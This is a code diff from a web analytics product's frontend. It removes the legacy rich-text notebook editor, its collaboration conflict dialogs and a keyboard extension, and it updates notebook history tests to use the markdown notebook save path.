a/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookV2RendererUI.test.tsx+++ b/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookV2RendererUI.test.tsx@@ -130,19 +130,15 @@ describe('MarkdownNotebookV2Renderer UI', () => {expect(notebookElement?.classList.contains('Notebook--expanded')).toBe(false)})- it('collapses markdown content width without changing the legacy notebook width setting', () => {- const { container } = render(- <NotebookExpandButton type="secondary" size="small" inPanel={false} isMarkdownNotebook />- )+ it('collapses markdown content width', () => {+ const { container } = render(<NotebookExpandButton type="secondary" size="small" inPanel={false} />)const button = container.querySelector('button')expect(settingsLogic.values.isMarkdownExpanded).toBe(true)- expect(settingsLogic.values.isExpanded).toBe(false)expect(button).toBeInstanceOf(HTMLButtonElement)fireEvent.click(button as HTMLButtonElement)expect(settingsLogic.values.isMarkdownExpanded).toBe(false)- expect(settingsLogic.values.isExpanded).toBe(false)})})diff --git a/frontend/src/scenes/notebooks/Notebook/Notebook.stories.tsx b/frontend/src/scenes/notebooks/Notebook/Notebook.stories.tsxindex 7120af71e36f..4e0824f0d49d 100644--- a/frontend/src/scenes/notebooks/Notebook/Notebook.stories.tsx+++ b/frontend/src/scenes/notebooks/Notebook/Notebook.stories.tsx@@ -449,7 +449,7 @@ export const RecordingsPlaylist: Story = {parameters: {pageUrl: urls.notebook('recordings-playlist'),testOptions: {- waitForSelector: '.NotebookNode__content', // All stories with widget-style nodes needs this+ waitForSelector: '.MarkdownNotebook__real-node-content', // All stories with widget-style nodes needs this},},}diff --git a/frontend/src/scenes/notebooks/Notebook/Notebook.tsx b/frontend/src/scenes/notebooks/Notebook/Notebook.tsxindex 600c13894039..1e929d1b111c 100644--- a/frontend/src/scenes/notebooks/Notebook/Notebook.tsx+++ b/frontend/src/scenes/notebooks/Notebook/Notebook.tsx@@ -4,41 +4,29 @@ import clsx from 'clsx'import { BindLogic, useActions, useValues } from 'kea'import { useEffect, useLayoutEffect } from 'react'-import { commandLogic } from 'lib/components/Command/commandLogic'import { NotFound } from 'lib/components/NotFound'-import { EditorFocusPosition, JSONContent } from 'lib/components/RichContentEditor/types'-import { FEATURE_FLAGS } from 'lib/constants'+import { JSONContent } from 'lib/components/RichContentEditor/types'import { useOnMountEffect } from 'lib/hooks/useOnMountEffect'import { useResizeBreakpoints } from 'lib/hooks/useResizeObserver'import { LemonBanner } from 'lib/lemon-ui/LemonBanner'-import { LemonButton } from 'lib/lemon-ui/LemonButton'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { NotebookLogicProps, notebookLogic } from 'scenes/notebooks/Notebook/notebookLogic'import { ErrorBoundary } from '~/layout/ErrorBoundary'import { SCRATCHPAD_NOTEBOOK } from '~/models/notebooksModel'-import { AddExperimentsToNotebookModal } from '../AddExperimentsToNotebookModal/AddExperimentsToNotebookModal'-import { AddInsightsToNotebookModal } from '../AddInsightsToNotebookModal/AddInsightsToNotebookModal'-import { Editor } from './Editor'-import { isMarkdownNotebookContent } from './markdownNotebookV2'import { MarkdownNotebookV2 } from './MarkdownNotebookV2Renderer'-import { NotebookCollabConflictModal } from './NotebookCollabConflictModal'import { NotebookColumnLeft } from './NotebookColumnLeft'import { NotebookColumnRight } from './NotebookColumnRight'-import { NotebookConflictWarning } from './NotebookConflictWarning'import { NotebookHistoryWarning } from './NotebookHistory'import { NotebookLoadingState } from './NotebookLoadingState'import { NotebookMergeConflictDetails } from './NotebookMergeConflictDetails'import { notebookSettingsLogic } from './notebookSettingsLogic'-import { openUpgradeToMarkdownNotebookDialog } from './notebookUpgradeDialog'-// Counts mounted markdown-v2 notebooks so the <body> marker class survives overlapping mounts+// Counts mounted notebooks so the <body> marker class survives overlapping mounts// (e.g. one in the scene and one in the side panel)let markdownNotebookMountCount = 0export type NotebookProps = NotebookLogicProps & {- initialAutofocus?: EditorFocusPositioninitialContent?: JSONContenteditable?: booleanclassName?: string@@ -50,7 +38,6 @@ export function Notebook({shortId,mode,editable = true,- initialAutofocus = 'start',initialContent,cachedNotebook,cachedInsightsByShortId,@@ -67,21 +54,9 @@ export function Notebook({cachedInlineQueryResultsByNodeId,}const logic = notebookLogic(logicProps)- const {- notebook,- notebookLoading,- editor,- conflictWarningVisible,- isEditable,- isTemplate,- notebookMissing,- content,- comments,- } = useValues(logic)+ const { notebook, notebookLoading, isEditable, isTemplate, notebookMissing } = useValues(logic)const { duplicateNotebook, loadNotebook, setEditable, setLocalContent, setContainerSize } = useActions(logic)- const { isExpanded, isMarkdownExpanded } = useValues(notebookSettingsLogic)- const { isCommandOpen } = useValues(commandLogic)- const { featureFlags } = useValues(featureFlagLogic)+ const { isMarkdownExpanded } = useValues(notebookSettingsLogic)useEffect(() => {if (initialContent && mode === 'canvas') {@@ -100,16 +75,6 @@ export function Notebook({setEditable(editable)}, [editable]) // oxlint-disable-line exhaustive-deps- useEffect(() => {- editor?.setEditable(isEditable)- }, [isEditable]) // oxlint-disable-line exhaustive-deps-- useEffect(() => {- if (editor && !isCommandOpen) {- editor.focus(initialAutofocus)- }- }, [editor]) // oxlint-disable-line exhaustive-deps-const { ref, size } = useResizeBreakpoints({0: 'small',1000: 'medium',@@ -119,14 +84,9 @@ export function Notebook({setContainerSize(size as 'small' | 'medium')}, [size]) // oxlint-disable-line exhaustive-deps- const isMarkdownNotebook = isMarkdownNotebookContent(content)-// Marker class replacing `body:has(.Notebook--markdown-v2)` in Notebook.scss: a near-root// `:has()` anchor makes every DOM class change cost a whole-document style recalc in BlinkuseLayoutEffect(() => {- if (!isMarkdownNotebook) {- return- }if (++markdownNotebookMountCount === 1) {document.body.classList.add('has-markdown-v2-notebook')}@@ -135,18 +95,11 @@ export function Notebook({document.body.classList.remove('has-markdown-v2-notebook')}}- }, [isMarkdownNotebook])- const isContentWidthExpanded = isMarkdownNotebook ? isMarkdownExpanded : isExpanded- const canUpgradeToMarkdownNotebooks = !!featureFlags[FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]- const upgradeToMarkdownNotebook = (): void => {- openUpgradeToMarkdownNotebookDialog({ shortId, content, comments, setLocalContent })- }+ }, [])return (<BindLogic logic={notebookLogic} props={logicProps}>- {conflictWarningVisible ? (- <NotebookConflictWarning />- ) : !notebook && notebookLoading ? (+ {!notebook && notebookLoading ? (<NotebookLoadingState />) : notebookMissing ? (<NotFound object="notebook" />@@ -154,12 +107,12 @@ export function Notebook({<divclassName={clsx('Notebook',- !isContentWidthExpanded && 'Notebook--compact',- isContentWidthExpanded && 'Notebook--expanded',+ !isMarkdownExpanded && 'Notebook--compact',+ isMarkdownExpanded && 'Notebook--expanded',mode && `Notebook--${mode}`,size === 'small' && `Notebook--single-column`,isEditable && 'Notebook--editable',- isMarkdownNotebook && 'Notebook--markdown-v2',+ 'Notebook--markdown-v2',className)}ref={ref}@@ -177,7 +130,6 @@ export function Notebook({</LemonBanner>)}<NotebookHistoryWarning />- <NotebookCollabConflictModal /><NotebookMergeConflictDetails />{shortId === SCRATCHPAD_NOTEBOOK.short_id ? (<LemonBanner@@ -193,32 +145,18 @@ export function Notebook({</LemonBanner>) : null}- {isEditable && !isMarkdownNotebook && canUpgradeToMarkdownNotebooks ? (- <div className="Notebook__top-actions">- <LemonButton type="secondary" onClick={upgradeToMarkdownNotebook}>- Convert to Markdown notebooks- </LemonButton>- </div>- ) : null}-<div className="Notebook_content"><NotebookColumnLeft /><ErrorBoundary>- {isMarkdownNotebook ? (- <MarkdownNotebookV2- debugOpen={markdownSourceOpen}- onDebugOpenChange={onMarkdownSourceOpenChange}- />- ) : (- <Editor />- )}+ <MarkdownNotebookV2+ debugOpen={markdownSourceOpen}+ onDebugOpenChange={onMarkdownSourceOpenChange}+ /></ErrorBoundary><NotebookColumnRight /></div></div>)}- <AddInsightsToNotebookModal />- <AddExperimentsToNotebookModal /></BindLogic>)}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookCollabConflictModal.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookCollabConflictModal.tsxdeleted file mode 100644index 12f475a13b81..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookCollabConflictModal.tsx+++ /dev/null@@ -1,50 +0,0 @@-import { useActions, useValues } from 'kea'--import { LemonButton, LemonModal } from '@posthog/lemon-ui'--import { notebookLogic } from './notebookLogic'-import { NotebookPreview } from './NotebookPreview'--export function NotebookCollabConflictModal(): JSX.Element {- const { collabConflict } = useValues(notebookLogic)- const { dismissCollabConflict, discardLocalChanges, copyUnsavedToNewNotebook } = useActions(notebookLogic)-- return (- <LemonModal- isOpen={!!collabConflict}- onClose={dismissCollabConflict}- title="We couldn't sync your changes"- description="The notebook has changed too much since you started typing. We can't reconcile the changes automatically."- footer={- <>- <LemonButton type="secondary" onClick={copyUnsavedToNewNotebook}>- Copy unsaved version to a new notebook- </LemonButton>- <LemonButton type="primary" onClick={discardLocalChanges}>- Discard unsaved changes and reload- </LemonButton>- </>- }- width={1200}- >- <div className="grid grid-cols-2 border rounded overflow-hidden">- <div className="min-w-0 border-r">- <div className="p-2 border-b text-xs font-medium text-secondary bg-surface-secondary">- Last saved version- </div>- <div className="p-3 max-h-[30rem] overflow-y-auto overflow-x-hidden break-words">- <NotebookPreview content={collabConflict?.serverContent ?? null} />- </div>- </div>- <div className="min-w-0">- <div className="p-2 border-b text-xs font-medium text-secondary bg-surface-secondary">- Your unsaved changes- </div>- <div className="p-3 max-h-[30rem] overflow-y-auto overflow-x-hidden break-words">- <NotebookPreview content={collabConflict?.localContent ?? null} />- </div>- </div>- </div>- </LemonModal>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookColumnLeft.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookColumnLeft.tsxindex 6b3422aa2c39..bb566e98320e 100644--- a/frontend/src/scenes/notebooks/Notebook/NotebookColumnLeft.tsx+++ b/frontend/src/scenes/notebooks/Notebook/NotebookColumnLeft.tsx@@ -1,33 +1,13 @@import clsx from 'clsx'-import { BindLogic, BuiltLogic, useActions, useValues } from 'kea'-import { useEffect, useRef, useState } from 'react'+import { useValues } from 'kea'-import { LemonButton } from '@posthog/lemon-ui'--import { usePageVisibility } from 'lib/hooks/usePageVisibility'-import { LemonWidget } from 'lib/lemon-ui/LemonWidget'--import { ErrorBoundary } from '~/layout/ErrorBoundary'--import { notebookNodeLogic } from '../Nodes/notebookNodeLogic'-import type { notebookNodeLogicType } from '../Nodes/notebookNodeLogic'-import { isMarkdownNotebookContent } from './markdownNotebookV2'import { NotebookHistory } from './NotebookHistory'-import { NotebookKernelInfo } from './NotebookKernelInfo'import { notebookLogic } from './notebookLogic'-import { NotebookTableOfContents } from './NotebookTableOfContents'export const NotebookColumnLeft = (): JSX.Element | null => {- const { content, editingNodeLogicsForLeft, isShowingLeftColumn, showHistory, showKernelInfo, showTableOfContents } =- useValues(notebookLogic)- const isMarkdownNotebook = isMarkdownNotebookContent(content)+ const { isShowingLeftColumn, showHistory } = useValues(notebookLogic)- const shouldShowTableOfContents = showTableOfContents && !isMarkdownNotebook- const shouldShowNodeSettings = editingNodeLogicsForLeft.length > 0 && !isMarkdownNotebook- const shouldShowKernelInfo = showKernelInfo && !isMarkdownNotebook- const isShowingEffectiveLeftColumn =- isShowingLeftColumn &&- (shouldShowNodeSettings || showHistory || shouldShowTableOfContents || shouldShowKernelInfo)+ const isShowingEffectiveLeftColumn = isShowingLeftColumn && showHistoryreturn (<div@@ -35,97 +15,7 @@ export const NotebookColumnLeft = (): JSX.Element | null => {'NotebookColumn--showing': isShowingEffectiveLeftColumn,})}>- <div className="NotebookColumn__content">- {isShowingEffectiveLeftColumn ? (- <>- {shouldShowNodeSettings- ? editingNodeLogicsForLeft.map((logic) => (- <div key={logic.values.nodeId}>- <NotebookNodeSettingsOffset logic={logic} />- <NotebookNodeSettingsWidget logic={logic} />- </div>- ))- : null}- {showHistory ? <NotebookHistory /> : null}- {shouldShowTableOfContents ? <NotebookTableOfContents /> : null}- {shouldShowKernelInfo ? <NotebookKernelInfo /> : null}- </>- ) : null}- </div>+ <div className="NotebookColumn__content">{isShowingEffectiveLeftColumn ? <NotebookHistory /> : null}</div></div>)}--export const NotebookNodeSettingsOffset = ({ logic }: { logic: BuiltLogic<notebookNodeLogicType> }): JSX.Element => {- const { ref } = useValues(logic)- const offsetRef = useRef<HTMLDivElement>(null)- const [height, setHeight] = useState(0)- const { isVisible: isPageVisible } = usePageVisibility()-- useEffect(() => {- if (!isPageVisible) {- return- }-- // Interval to check the relative positions of the node and the offset div- // updating the height so that it always is inline- const updateHeight = (): void => {- if (ref && offsetRef.current) {- const newHeight = ref.getBoundingClientRect().top - offsetRef.current.getBoundingClientRect().top-- if (height !== newHeight) {- setHeight(newHeight)- }- }- }-- const interval = setInterval(updateHeight, 100)- updateHeight()-- return () => clearInterval(interval)- }, [ref, height, isPageVisible])-- return (- <div- ref={offsetRef}- // eslint-disable-next-line react/forbid-dom-props- style={{- height,- }}- />- )-}--export const NotebookNodeSettingsWidget = ({ logic }: { logic: BuiltLogic<notebookNodeLogicType> }): JSX.Element => {- const { setEditingNodeEditing } = useActions(notebookLogic)- const { Settings, nodeAttributes, title } = useValues(logic)- const { updateAttributes, selectNode } = useActions(logic)-- return (- <LemonWidget- title={`Editing '${title}'`}- className="NotebookColumn__widget"- actions={- <>- <LemonButton size="small" onClick={() => setEditingNodeEditing(nodeAttributes.nodeId, false)}>- Done- </LemonButton>- </>- }- >- <div onClick={() => selectNode()}>- {Settings ? (- <ErrorBoundary>- <BindLogic logic={notebookNodeLogic} props={{ attributes: nodeAttributes }}>- <Settings- key={nodeAttributes.nodeId}- attributes={nodeAttributes}- updateAttributes={updateAttributes}- />- </BindLogic>- </ErrorBoundary>- ) : null}- </div>- </LemonWidget>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookConflictWarning.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookConflictWarning.tsxdeleted file mode 100644index 2c8106c709e9..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookConflictWarning.tsx+++ /dev/null@@ -1,24 +0,0 @@-import { useActions } from 'kea'--import { LemonButton } from 'lib/lemon-ui/LemonButton'--import { notebookLogic } from './notebookLogic'--export function NotebookConflictWarning(): JSX.Element {- const { loadNotebook } = useActions(notebookLogic)-- return (- <div className="flex flex-col items-center text-secondary m-10">- <h2 className="text-secondary">This Notebook has been edited elsewhere</h2>-- <p>- It looks like someone else has been editing this content too. You will need to reload the notebook to- see the latest version.- </p>-- <LemonButton type="primary" onClick={loadNotebook}>- Reload to see the latest content- </LemonButton>- </div>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.test.ts b/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.test.tsdeleted file mode 100644index acd6b06efb35..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.test.ts+++ /dev/null@@ -1,127 +0,0 @@-import { Editor } from '@tiptap/core'-import { TaskItem, TaskList } from '@tiptap/extension-list'-import StarterKit from '@tiptap/starter-kit'--import { NotebookDefaultBlockOnEnter } from './NotebookDefaultBlockOnEnter'--describe('NotebookDefaultBlockOnEnter', () => {- function createTestEditor(content: Record<string, unknown>): Editor {- return new Editor({- extensions: [StarterKit, TaskList, TaskItem.configure({ nested: true }), NotebookDefaultBlockOnEnter],- content,- })- }-- function pressEnter(editor: Editor): void {- editor.commands.keyboardShortcut('Enter')- }-- it.each([- {- label: 'bullet list',- listType: 'bulletList',- itemType: 'listItem',- item: {- type: 'listItem',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'item' }] }],- },- },- {- label: 'ordered list',- listType: 'orderedList',- itemType: 'listItem',- item: {- type: 'listItem',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'item' }] }],- },- },- {- label: 'task list',- listType: 'taskList',- itemType: 'taskItem',- item: {- type: 'taskItem',- attrs: { checked: false },- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'item' }] }],- },- },- ])('creates a new $label item when pressing Enter inside a $label', ({ listType, itemType, item }) => {- const editor = createTestEditor({ type: 'doc', content: [{ type: listType, content: [item] }] })- editor.commands.focus('end')- pressEnter(editor)- const list = editor.getJSON().content![0]- expect(list.type).toBe(listType)- expect(list.content).toHaveLength(2)- expect(list.content![1].type).toBe(itemType)- })-- it('creates a plain paragraph when pressing Enter in a regular paragraph', () => {- const editor = createTestEditor({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'hello world' }] }],- })-- editor.commands.focus('end')-- pressEnter(editor)-- const doc = editor.getJSON()- expect(doc.content).toHaveLength(2)- expect(doc.content![0].type).toBe('paragraph')- expect(doc.content![1].type).toBe('paragraph')- })-- it('converts heading to paragraph when pressing Enter at end of heading', () => {- const editor = createTestEditor({- type: 'doc',- content: [{ type: 'heading', attrs: { level: 2 }, content: [{ type: 'text', text: 'Title' }] }],- })-- editor.commands.focus('end')-- pressEnter(editor)-- const doc = editor.getJSON()- expect(doc.content!.length).toBeGreaterThanOrEqual(2)- expect(doc.content![0].type).toBe('heading')- expect(doc.content![1].type).toBe('paragraph')- })-- it('splits bullet list item text at cursor position', () => {- const editor = createTestEditor({- type: 'doc',- content: [- {- type: 'bulletList',- content: [- {- type: 'listItem',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'abcdef' }] }],- },- ],- },- ],- })-- let splitPos = 0- editor.state.doc.descendants((node, pos) => {- if (node.isText && node.text === 'abcdef') {- splitPos = pos + 3- }- })- editor.commands.setTextSelection(splitPos)-- pressEnter(editor)-- const doc = editor.getJSON()- const bulletList = doc.content![0]- expect(bulletList.type).toBe('bulletList')- expect(bulletList.content).toHaveLength(2)-- const firstItem = bulletList.content![0] as any- expect(firstItem.content[0].content[0].text).toBe('abc')-- const secondItem = bulletList.content![1] as any- expect(secondItem.content[0].content[0].text).toBe('def')- })-})diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.ts b/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.tsdeleted file mode 100644index 39c713375c19..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookDefaultBlockOnEnter.ts+++ /dev/null@@ -1,50 +0,0 @@-import { Extension } from '@tiptap/core'--/**- * Splitting a block with Enter creates a plain, unstyled paragraph.- * Does not apply when pressing Enter at the start of a block.- */-export const NotebookDefaultBlockOnEnter = Extension.create({- name: 'notebookDefaultBlockOnEnter',-- // Run before the built-in keymap extension (priority 100) so Enter is handled here first.- priority: 200,-- addKeyboardShortcuts() {- return {- Enter: () => {- const { $from: $before } = this.editor.state.selection- const atStart = $before.parentOffset === 0-- if (this.editor.isActive('listItem') || this.editor.isActive('taskItem')) {- return false- }-- const handled = this.editor.commands.first(({ commands }) => [- () => commands.newlineInCode(),- () => commands.createParagraphNear(),- () => commands.liftEmptyBlock(),- () => commands.splitBlock(),- ])-- // if none of the commands worked, we shouldn't try to strip marks or convert nodes- if (handled && !atStart) {- const { $from } = this.editor.state.selection- if ($from.parent.type.name !== 'paragraph') {- this.editor.commands.setNode('paragraph')- }-- const { $from: $pos } = this.editor.state.selection- this.editor- .chain()- .setTextSelection({ from: $pos.start(), to: $pos.end() })- .unsetAllMarks()- .setTextSelection($pos.pos)- .run()- }-- return handled- },- }- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookHistory.test.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookHistory.test.tsxindex 3e4b3fc27013..48603d97ea90 100644--- a/frontend/src/scenes/notebooks/Notebook/NotebookHistory.test.tsx+++ b/frontend/src/scenes/notebooks/Notebook/NotebookHistory.test.tsx@@ -1,19 +1,15 @@import { JSONContent } from '@tiptap/core'-import * as PMCollab from '@tiptap/pm/collab'import { expectLogic } from 'kea-test-utils'import api from 'lib/api'import { activityLogLogic } from 'lib/components/ActivityLog/activityLogLogic'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { useMocks } from '~/mocks/jest'import { initKeaTests } from '~/test/init'import { AccessControlLevel, ActivityScope } from '~/types'-import { NotebookEditor, NotebookType } from '../types'+import { NotebookType } from '../types'import { buildMarkdownNotebookContent } from './markdownNotebookV2'-import { notebookCollabLogic } from './notebookCollabLogic'import { MARKDOWN_SYNC_DELAY, SYNC_DELAY, notebookLogic } from './notebookLogic'// Skip the API-driven query upgrade step inside migrate so the loader doesn't try@@ -27,15 +23,6 @@ jest.mock('./migrations/migrate', () => {}})-// In tests we don't run a real Tiptap editor with a collab plugin, so sendableSteps-// can't compute pending steps from a real EditorState. The collab branch of-// saveNotebook gates on a non-null sendable — return a real-looking step so the-// branch fires and we can assert on the resulting api.create call shape.-jest.mock('@tiptap/pm/collab', () => ({- ...jest.requireActual('@tiptap/pm/collab'),- sendableSteps: jest.fn(),-}))-const SHORT_ID = 'test-revert'const SAMPLE_DOC: JSONContent = {@@ -65,38 +52,14 @@ const cachedNotebook: NotebookType = {describe('Notebook history revert flow', () => {let logic: ReturnType<typeof notebookLogic.build>- let editorSetContent: jest.Mock- let editorContent: JSONContent | null- let apiCreateSpy: jest.SpyInstancelet apiUpdateSpy: jest.SpyInstancelet apiMarkdownSaveSpy: jest.SpyInstancelet apiActivityListLegacySpy: jest.SpyInstancelet historyLogic: ReturnType<typeof activityLogLogic.build> | null- // The stub tracks its own content so getJSON() reflects the result of setContent- // calls. Otherwise the collab path's wire payload (which is editor.getJSON()) would- // appear correct even when the editor never actually transitioned to the historical doc.- const stubEditor = (): NotebookEditor =>- ({- setContent: (content: JSONContent) => {- editorContent = content- editorSetContent(content)- },- getJSON: () => editorContent,- getText: () => 'historical',- getCurrentPosition: () => 0,- getMarks: () => [],- getAllCommentTexts: () => ({}),- getAttributes: () => ({}),- findCommentPosition: () => null,- removeComment: jest.fn(),- setTextSelection: jest.fn(),- }) as unknown as NotebookEditor-beforeEach(() => {localStorage.clear()historyLogic = null- editorContent = nulluseMocks({get: {[`/api/projects/@current/notebooks/${SHORT_ID}/`]: () => [200, cachedNotebook],@@ -106,8 +69,6 @@ describe('Notebook history revert flow', () => {})initKeaTests()- editorSetContent = jest.fn()- apiCreateSpy = jest.spyOn(api, 'create').mockResolvedValue({ ...cachedNotebook, version: 2 })apiUpdateSpy = jest.spyOn(api.notebooks, 'update').mockResolvedValue({ ...cachedNotebook, version: 2, content: HISTORICAL_DOC })@@ -124,13 +85,11 @@ describe('Notebook history revert flow', () => {logic?.unmount()historyLogic?.unmount()jest.restoreAllMocks()- ;(PMCollab.sendableSteps as jest.Mock).mockReset()})- it('opening preview: setPreviewContent updates editor + reducer, no save dispatched', async () => {+ it('opening preview: setPreviewContent updates the reducer, no save dispatched', async () => {logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook' })logic.mount()- logic.actions.setEditor(stubEditor())// user clicks a history entrylogic.actions.setPreviewContent(HISTORICAL_DOC)@@ -139,65 +98,59 @@ describe('Notebook history revert flow', () => {.delay(SYNC_DELAY + 100).toFinishAllListeners()- expect(editorSetContent).toHaveBeenCalledWith(HISTORICAL_DOC)expect(logic.values.previewContent).toEqual(HISTORICAL_DOC)+ // the preview renders through the markdown converter+ expect(logic.values.content).toEqual(buildMarkdownNotebookContent('historical'))expect(logic.values.localContent).toBeNull()// previewing is non-mutating- expect(apiCreateSpy).not.toHaveBeenCalledWith(- expect.stringContaining(`/notebooks/${SHORT_ID}/collab/save/`),- expect.anything()- )expect(apiUpdateSpy).not.toHaveBeenCalled()+ expect(apiMarkdownSaveSpy).not.toHaveBeenCalled()})- it('does not persist editor updates emitted while previewing a historical revision', async () => {+ it('does not persist content edits made while previewing a historical revision', async () => {logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook' })logic.mount()- logic.actions.setEditor(stubEditor())logic.actions.setPreviewContent(HISTORICAL_DOC)- logic.actions.onEditorUpdate()+ logic.actions.setLocalContent(buildMarkdownNotebookContent('draft while previewing'))await expectLogic(logic).delay(SYNC_DELAY + 100).toFinishAllListeners()expect(logic.values.previewContent).toEqual(HISTORICAL_DOC)- expect(logic.values.localContent).toBeNull()expect(apiUpdateSpy).not.toHaveBeenCalled()- expect(apiCreateSpy).not.toHaveBeenCalledWith(- expect.stringContaining(`/notebooks/${SHORT_ID}/collab/save/`),- expect.anything()- )+ expect(apiMarkdownSaveSpy).not.toHaveBeenCalled()})it('saves through the pending content debounce after autosave resumes', async () => {+ const editedContent = buildMarkdownNotebookContent('historical')logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook', cachedNotebook })logic.mount()logic.actions.loadNotebook()await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()logic.actions.setAutosavePaused(true)- logic.actions.setLocalContent(HISTORICAL_DOC)+ logic.actions.setLocalContent(editedContent)logic.actions.setAutosavePaused(false)- expect(apiUpdateSpy).not.toHaveBeenCalled()+ expect(apiMarkdownSaveSpy).not.toHaveBeenCalled()await expectLogic(logic).delay(SYNC_DELAY + 100).toFinishAllListeners()- expect(apiUpdateSpy).toHaveBeenCalledTimes(1)- expect(apiUpdateSpy).toHaveBeenCalledWith(+ expect(apiMarkdownSaveSpy).toHaveBeenCalledTimes(1)+ expect(apiMarkdownSaveSpy).toHaveBeenCalledWith(SHORT_ID,- expect.objectContaining({ content: HISTORICAL_DOC, version: 1 })+ expect.objectContaining({ content: editedContent, version: 1 }))})- it('saves legacy to markdown conversion through the versioned notebook update path', async () => {+ it('persists the legacy to markdown conversion on the first edit', async () => {const convertedContent = buildMarkdownNotebookContent(`# Testconverted`)- apiUpdateSpy.mockResolvedValueOnce({+ apiMarkdownSaveSpy.mockResolvedValueOnce({...cachedNotebook,version: 2,content: convertedContent,@@ -212,10 +165,10 @@ converted`)logic.actions.setLocalContent(convertedContent)await expectLogic(logic)- .delay(SYNC_DELAY + 100)+ .delay(MARKDOWN_SYNC_DELAY + 100).toFinishAllListeners()- expect(apiUpdateSpy).toHaveBeenCalledWith(+ expect(apiMarkdownSaveSpy).toHaveBeenCalledWith(SHORT_ID,expect.objectContaining({content: convertedContent,@@ -223,7 +176,7 @@ converted`)version: 1,}))- expect(apiMarkdownSaveSpy).not.toHaveBeenCalled()+ expect(apiUpdateSpy).not.toHaveBeenCalled()})it('refreshes notebook activity after a save when history is open', async () => {@@ -239,7 +192,7 @@ converted`)logic.actions.setShowHistory(true)await expectLogic(logic, () => {- logic.actions.saveNotebook({ content: HISTORICAL_DOC, title: 'Test' })+ logic.actions.saveNotebook({ content: buildMarkdownNotebookContent('historical'), title: 'Test' })}).toDispatchActions(['saveNotebookSuccess']).toFinishAllListeners()@@ -248,34 +201,7 @@ converted`)expect(apiActivityListLegacySpy).toHaveBeenCalledWith({ scope: [ActivityScope.NOTEBOOK], id: SHORT_ID }, 1)})- it('does not enable ProseMirror collaboration for markdown v2 notebooks', async () => {- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.NOTEBOOKS_COLLABORATION], {- [FEATURE_FLAGS.NOTEBOOKS_COLLABORATION]: true,- })- logic = notebookLogic({- shortId: SHORT_ID,- mode: 'notebook',- cachedNotebook: {- ...cachedNotebook,- content: buildMarkdownNotebookContent('# Markdown v2'),- },- })- logic.mount()- logic.actions.loadNotebook()- await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()-- expect(logic.values.collabEnabled).toBe(false)- })-- it('renders legacy notebooks as markdown when the markdown flag is enabled without marking them dirty', async () => {- featureFlagLogic.actions.setFeatureFlags(- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS, FEATURE_FLAGS.NOTEBOOKS_COLLABORATION],- {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- [FEATURE_FLAGS.NOTEBOOKS_COLLABORATION]: true,- }- )-+ it('renders legacy notebooks as markdown without marking them dirty', async () => {logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook' })logic.mount()logic.actions.loadNotebook()@@ -285,13 +211,12 @@ converted`)expect(logic.values.content).toEqual(buildMarkdownNotebookContent('current'))expect(logic.values.localContent).toBeNull()expect(logic.values.syncStatus).toBe('synced')- expect(logic.values.collabEnabled).toBe(false)expect(logic.values.markdownRealtimeEnabled).toBe(true)expect(apiUpdateSpy).not.toHaveBeenCalled()expect(apiMarkdownSaveSpy).not.toHaveBeenCalled()})- it('reverts legacy history entries as markdown when the markdown flag is enabled', async () => {+ it('reverts legacy history entries as markdown', async () => {const historicalMarkdownContent = buildMarkdownNotebookContent('historical')apiMarkdownSaveSpy.mockResolvedValueOnce({...cachedNotebook,@@ -299,31 +224,27 @@ converted`)content: historicalMarkdownContent,text_content: 'historical',})- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.MARKDOWN_NOTEBOOKS], {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- })logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook' })logic.mount()- logic.actions.setEditor(stubEditor())logic.actions.loadNotebook()await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()logic.actions.setPreviewContent(HISTORICAL_DOC)expect(logic.values.previewContent).toEqual(HISTORICAL_DOC)expect(logic.values.content).toEqual(historicalMarkdownContent)- editorSetContent.mockClear()+ // user clicks Revert — mirror the action sequence in NotebookHistoryWarning.onRevertconst contentToRestore = logic.values.contentlogic.actions.clearPreviewContent()- logic.actions.setLocalContent(contentToRestore, true)+ logic.actions.setLocalContent(contentToRestore)logic.actions.setShowHistory(false)await expectLogic(logic).delay(MARKDOWN_SYNC_DELAY + 100).toFinishAllListeners()- expect(editorSetContent).toHaveBeenCalledWith(historicalMarkdownContent)+ 